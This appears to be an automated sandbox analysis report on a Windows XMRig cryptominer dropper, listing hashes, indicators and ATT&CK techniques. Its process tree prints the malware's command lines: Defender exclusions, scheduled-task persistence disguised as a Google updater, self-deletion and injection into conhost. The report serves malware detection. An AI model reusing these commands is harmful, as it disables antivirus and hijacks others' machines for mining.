xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
449s
max time network
1800s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
25-01-2024 16:55

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General

Target

grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1764 created 1360	1764	Be5sCbvuma2nkHDa.exe	6
PID 1764 created 1360	1764	Be5sCbvuma2nkHDa.exe	6
PID 1764 created 1360	1764	Be5sCbvuma2nkHDa.exe	6
PID 1764 created 1360	1764	Be5sCbvuma2nkHDa.exe	6
PID 2932 created 1360	2932	updater.exe	6
PID 2932 created 1360	2932	updater.exe	6
PID 2932 created 1360	2932	updater.exe	6
PID 2932 created 1360	2932	updater.exe	6
PID 1240 created 1360	1240	conhost.exe	6
PID 2932 created 1360	2932	updater.exe	6

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral4/memory/1724-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral4/memory/1724-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2488	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2932	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2412	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/memory/1724-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral4/memory/1724-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2932 set thread context of 1240	2932	updater.exe	46
PID 2932 set thread context of 1724	2932	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Be5sCbvuma2nkHDa.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2640	schtasks.exe
2912	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1640	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 70097188b14fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1764	Be5sCbvuma2nkHDa.exe
1764	Be5sCbvuma2nkHDa.exe
2192	powershell.exe
1764	Be5sCbvuma2nkHDa.exe
1764	Be5sCbvuma2nkHDa.exe
2556	powershell.exe
1764	Be5sCbvuma2nkHDa.exe
1764	Be5sCbvuma2nkHDa.exe
1764	Be5sCbvuma2nkHDa.exe
1764	Be5sCbvuma2nkHDa.exe
2568	powershell.exe
2932	updater.exe
2932	updater.exe
1436	powershell.exe
2932	updater.exe
2932	updater.exe
1636	powershell.exe
2932	updater.exe
2932	updater.exe
2932	updater.exe
2932	updater.exe
1240	conhost.exe
1240	conhost.exe
2932	updater.exe
2932	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	1436	powershell.exe
Token: SeDebugPrivilege	1636	powershell.exe
Token: SeDebugPrivilege	2932	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1640	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1640	WMIC.exe
Token: SeSecurityPrivilege	1640	WMIC.exe
Token: SeTakeOwnershipPrivilege	1640	WMIC.exe
Token: SeLoadDriverPrivilege	1640	WMIC.exe
Token: SeSystemtimePrivilege	1640	WMIC.exe
Token: SeBackupPrivilege	1640	WMIC.exe
Token: SeRestorePrivilege	1640	WMIC.exe
Token: SeShutdownPrivilege	1640	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1640	WMIC.exe
Token: SeUndockPrivilege	1640	WMIC.exe
Token: SeManageVolumePrivilege	1640	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1640	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1640	WMIC.exe
Token: SeSecurityPrivilege	1640	WMIC.exe
Token: SeTakeOwnershipPrivilege	1640	WMIC.exe
Token: SeLoadDriverPrivilege	1640	WMIC.exe
Token: SeSystemtimePrivilege	1640	WMIC.exe
Token: SeBackupPrivilege	1640	WMIC.exe
Token: SeRestorePrivilege	1640	WMIC.exe
Token: SeShutdownPrivilege	1640	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1640	WMIC.exe
Token: SeUndockPrivilege	1640	WMIC.exe
Token: SeManageVolumePrivilege	1640	WMIC.exe
Token: SeLockMemoryPrivilege	1724	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 2640	2556	powershell.exe	32
PID 2556 wrote to memory of 2640	2556	powershell.exe	32
PID 2556 wrote to memory of 2640	2556	powershell.exe	32
PID 2488 wrote to memory of 2812	2488	cmd.exe	33
PID 2488 wrote to memory of 2812	2488	cmd.exe	33
PID 2488 wrote to memory of 2812	2488	cmd.exe	33
PID 2568 wrote to memory of 2484	2568	powershell.exe	37
PID 2568 wrote to memory of 2484	2568	powershell.exe	37
PID 2568 wrote to memory of 2484	2568	powershell.exe	37
PID 2412 wrote to memory of 2932	2412	taskeng.exe	36
PID 2412 wrote to memory of 2932	2412	taskeng.exe	36
PID 2412 wrote to memory of 2932	2412	taskeng.exe	36
PID 1636 wrote to memory of 2912	1636	powershell.exe	45
PID 1636 wrote to memory of 2912	1636	powershell.exe	45
PID 1636 wrote to memory of 2912	1636	powershell.exe	45
PID 2932 wrote to memory of 1240	2932	updater.exe	46
PID 1832 wrote to memory of 1640	1832	cmd.exe	48
PID 1832 wrote to memory of 1640	1832	cmd.exe	48
PID 1832 wrote to memory of 1640	1832	cmd.exe	48
PID 2932 wrote to memory of 1724	2932	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1360
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2640
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2912
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1240
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1892
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1832
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1724

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2812

C:\Windows\system32\taskeng.exe
taskeng.exe {9164FE63-1F26-4CF8-8A4C-3CC19F1BD4E9} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2412
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2932

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2484

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
387KB

MD5
60d13d2b055025b986d697fd7dc72065

SHA1
3c553fe2df6d266c45fc56b7b7eb2e7809a98e82

SHA256
6ed725eca15804e596ace6e7d9b295ff0bc87f999ba9b2de6113cb9b56080f0d

SHA512
d0777489b63ba1ce45993542b496f1d05f1869330eb6ef15f6e3f2b1f56673abd33c72c2664b6d3b248cf3f4ef52b2f9a1d5529db6014d6a14e89a30c3f6cbc7

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
156KB

MD5
41b8c9c5f67b2b2a0936cb829222fbaf

SHA1
61653a9d604f47f0fd090ed3ebd19456424f169d

SHA256
bbacf24ac2f44a7231375d3f2c979eb170a7c7c82e459e596e1e5e99efa4cd2a

SHA512
43a8cabfc42aa0192423477d12b29aa04e819bd9b6388c7a0533550823a05a8677ca73d3b4fa2c94c21664fb2a114e32cdb569b68126d6ed32454153a2e24723

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VLUOJ272L1PBLNA48JRC.temp

Filesize
7KB

MD5
50313f7ab77c581e3b015955c338e719

SHA1
58f0511a90167167f37abd889e80856f09b6679d

SHA256
50d0a2e41d761b42f6ad0ac24d5d26a64b6dea43bc9c65fc1579ab8ab39dfabf

SHA512
b4aeddfd618d3a1007223d8c378d8a32d4b7b68cc181aad26645fc40c5912d76b6d3d23b9c835410ccf1b9cdad8ef09a6c720b83329c6b5932a53f24437bdf46

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
511KB

MD5
862fbcfc960253a40d986df19aa855af

SHA1
11fef85d7ff3dcb9ef49c0cba2f9ba3a3e8082b8

SHA256
42e300754b48955c561753ae373fe1b7e45a2a3794bfa602b681ae98d4511fa8

SHA512
dc9887c16224729ff4b7e7ed0aa21bcc4e4d8ba13d20608eea0926903e147a70e9c900e7e31bc08b4f2805580d5efcfffd1858ea14d8b00d27514d62f6bb30fb

Download Submit
memory/1240-76-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1240-70-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1436-50-0x0000000001620000-0x00000000016A0000-memory.dmp

Filesize
512KB

Download
memory/1436-48-0x0000000001620000-0x00000000016A0000-memory.dmp

Filesize
512KB

Download
memory/1436-45-0x000007FEF4CE0000-0x000007FEF567D000-memory.dmp

Filesize
9.6MB

Download
memory/1436-46-0x0000000001620000-0x00000000016A0000-memory.dmp

Filesize
512KB

Download
memory/1436-47-0x000007FEF4CE0000-0x000007FEF567D000-memory.dmp

Filesize
9.6MB

Download
memory/1436-51-0x000007FEF4CE0000-0x000007FEF567D000-memory.dmp

Filesize
9.6MB

Download
memory/1436-49-0x0000000001620000-0x00000000016A0000-memory.dmp

Filesize
512KB

Download
memory/1636-53-0x00000000015B0000-0x0000000001630000-memory.dmp

Filesize
512KB

Download
memory/1636-57-0x00000000015BB000-0x0000000001622000-memory.dmp

Filesize
412KB

Download
memory/1636-58-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/1636-52-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/1636-54-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/1636-56-0x00000000015B0000-0x0000000001630000-memory.dmp

Filesize
512KB

Download
memory/1636-55-0x00000000015B0000-0x0000000001630000-memory.dmp

Filesize
512KB

Download
memory/1724-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-67-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-66-0x00000000000F0000-0x0000000000110000-memory.dmp

Filesize
128KB

Download
memory/1724-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-68-0x0000000000150000-0x0000000000170000-memory.dmp

Filesize
128KB

Download
memory/1724-69-0x00000000001D0000-0x00000000001F0000-memory.dmp

Filesize
128KB

Download
memory/1724-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-75-0x00000000001D0000-0x00000000001F0000-memory.dmp

Filesize
128KB

Download
memory/1724-74-0x0000000000150000-0x0000000000170000-memory.dmp

Filesize
128KB

Download
memory/1724-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1764-27-0x000000013F870000-0x000000013FA81000-memory.dmp

Filesize
2.1MB

Download
memory/1764-0-0x000000013F870000-0x000000013FA81000-memory.dmp

Filesize
2.1MB

Download
memory/2192-5-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2192-6-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

Filesize
32KB

Download
memory/2192-10-0x0000000001EE0000-0x0000000001F60000-memory.dmp

Filesize
512KB

Download
memory/2192-9-0x0000000001EE0000-0x0000000001F60000-memory.dmp

Filesize
512KB

Download
memory/2192-8-0x0000000001EE0000-0x0000000001F60000-memory.dmp

Filesize
512KB

Download
memory/2192-11-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/2192-7-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
